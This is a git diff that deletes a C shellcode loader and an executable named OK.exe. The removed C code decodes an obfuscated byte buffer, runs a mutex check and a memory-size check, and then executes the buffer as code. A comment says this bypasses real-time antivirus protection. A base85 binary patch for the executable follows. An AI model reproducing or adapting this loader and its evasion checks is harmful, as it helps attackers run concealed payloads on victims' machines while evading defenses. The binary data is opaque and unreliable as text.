buf[1364] = '\x2bd'-496; - buf[1365] = '\x267'-496; - buf[1366] = '\x25a'-496; - buf[1367] = '\x258'-496; - buf[1368] = '\x2a2'-496; - buf[1369] = '\x20f'-496; - buf[1370] = '\x2ba'-496; - buf[1371] = '\x204'-496; - buf[1372] = '\x270'-496; - buf[1373] = '\x250'-496; - buf[1374] = '\x211'-496; - buf[1375] = '\x2c1'-496; - buf[1376] = '\x2dd'-496; - buf[1377] = '\x223'-496; - buf[1378] = '\x231'-496; - buf[1379] = '\x242'-496; - buf[1380] = '\x21e'-496; - buf[1381] = '\x2e6'-496; - buf[1382] = '\x2e3'-496; - buf[1383] = '\x282'-496; - buf[1384] = '\x2d6'-496; - buf[1385] = '\x28d'-496; - buf[1386] = '\x2b6'-496; - buf[1387] = '\x278'-496; - buf[1388] = '\x230'-496; - buf[1389] = '\x2c3'-496; - buf[1390] = '\x23d'-496; - buf[1391] = '\x239'-496; - buf[1392] = '\x2ed'-496; - buf[1393] = '\x26d'-496; - buf[1394] = '\x280'-496; - buf[1395] = '\x2d2'-496; - buf[1396] = '\x29b'-496; - buf[1397] = '\x26f'-496; - buf[1398] = '\x29a'-496; - buf[1399] = '\x2aa'-496; - buf[1400] = '\x230'-496; - buf[1401] = '\x260'-496; - buf[1402] = '\x2ae'-496; - buf[1403] = '\x244'-496; - buf[1404] = '\x200'-496; - buf[1405] = '\x225'-496; - buf[1406] = '\x2eb'-496; - buf[1407] = '\x219'-496; - buf[1408] = '\x1fc'-496; - buf[1409] = '\x26b'-496; - buf[1410] = '\x2c2'-496; - buf[1411] = '\x1f7'-496; - buf[1412] = '\x200'-496; - buf[1413] = '\x2c5'-496; - buf[1414] = '\x2ce'-496; - buf[1415] = '\x2e3'-496; - buf[1416] = '\x253'-496; - buf[1417] = '\x250'-496; - buf[1418] = '\x29a'-496; - buf[1419] = '\x2b6'-496; - buf[1420] = '\x245'-496; - buf[1421] = '\x1fb'-496; - buf[1422] = '\x27b'-496; - buf[1423] = '\x1fa'-496; - buf[1424] = '\x275'-496; - buf[1425] = '\x2b6'-496; - buf[1426] = '\x292'-496; - buf[1427] = '\x27a'-496; - buf[1428] = '\x275'-496; - buf[1429] = '\x257'-496; - buf[1430] = '\x2b1'-496; - buf[1431] = '\x2e0'-496; - buf[1432] = '\x2c7'-496; - buf[1433] = '\x275'-496; - buf[1434] = '\x285'-496; - buf[1435] = '\x20f'-496; - buf[1436] = '\x2a2'-496; - buf[1437] = '\x28f'-496; - buf[1438] = '\x29d'-496; - buf[1439] = '\x2e7'-496; - buf[1440] = '\x1f1'-496; - buf[1441] = '\x261'-496; - buf[1442] = '\x2ba'-496; - buf[1443] = '\x268'-496; - buf[1444] = '\x2ca'-496; - buf[1445] = '\x210'-496; - buf[1446] = '\x272'-496; - buf[1447] = '\x2ab'-496; - buf[1448] = '\x2b7'-496; - buf[1449] = '\x2a5'-496; - buf[1450] = '\x220'-496; - buf[1451] = '\x2c2'-496; - buf[1452] = '\x249'-496; - buf[1453] = '\x2d7'-496; - buf[1454] = '\x2c6'-496; - buf[1455] = '\x2ce'-496; - buf[1456] = '\x2a2'-496; - buf[1457] = '\x1f9'-496; - buf[1458] = '\x2e5'-496; - buf[1459] = '\x2b9'-496; - buf[1460] = '\x2b5'-496; - buf[1461] = '\x27f'-496; - buf[1462] = '\x2c6'-496; - buf[1463] = '\x272'-496; - buf[1464] = '\x2e6'-496; - buf[1465] = '\x204'-496; - buf[1466] = '\x219'-496; - buf[1467] = '\x212'-496; - buf[1468] = '\x2e5'-496; - buf[1469] = '\x21a'-496; - buf[1470] = '\x27a'-496; - buf[1471] = '\x27b'-496; - buf[1472] = '\x29b'-496; - buf[1473] = '\x26f'-496; - buf[1474] = '\x220'-496; - buf[1475] = '\x22e'-496; - buf[1476] = '\x26d'-496; - buf[1477] = '\x2dc'-496; - buf[1478] = '\x253'-496; - buf[1479] = '\x29a'-496; - buf[1480] = '\x256'-496; - buf[1481] = '\x217'-496; - buf[1482] = '\x2c1'-496; - buf[1483] = '\x204'-496; - buf[1484] = '\x20d'-496; - buf[1485] = '\x295'-496; - buf[1486] = '\x2b4'-496; - buf[1487] = '\x2c7'-496; - buf[1488] = '\x287'-496; - buf[1489] = '\x243'-496; - buf[1490] = '\x26b'-496; - buf[1491] = '\x20c'-496; - buf[1492] = '\x285'-496; - buf[1493] = '\x230'-496; - buf[1494] = '\x259'-496; - buf[1495] = '\x2ef'-496; - buf[1496] = '\x2aa'-496; - buf[1497] = '\x227'-496; - buf[1498] = '\x2a5'-496; - buf[1499] = '\x241'-496; - buf[1500] = '\x203'-496; - buf[1501] = '\x282'-496; - buf[1502] = '\x286'-496; - buf[1503] = '\x23b'-496; - buf[1504] = '\x1f6'-496; - - int cpt = 0; - int i = 0; - for (i = 0; i < max_op; i++) { - cpt++; - } - if (cpt == max_op) { - HANDLE mutex; - mutex = CreateMutex(NULL, TRUE, "MFEUe"); - if (GetLastError() == ERROR_ALREADY_EXISTS) - { - ; - } - else - { - - exit(0); - } - PROCESS_MEMORY_COUNTERS pmc; - GetProcessMemoryInfo(GetCurrentProcess(), &pmc, sizeof(pmc)); - if(!(pmc.WorkingSetSize<=3500000)) - { - exit(216); - } - // Checking NULL allows us to get around Real-time protection - void (*func)(); - func = (void (*)()) buf; - (void)(*func)(); - return 0; - } -} \ No newline at end of file diff --git a/OK.exe b/OK.exe deleted file mode 100755 index fd3934676b435963e5c84cff496c5540dc41e1fa..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 117447 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 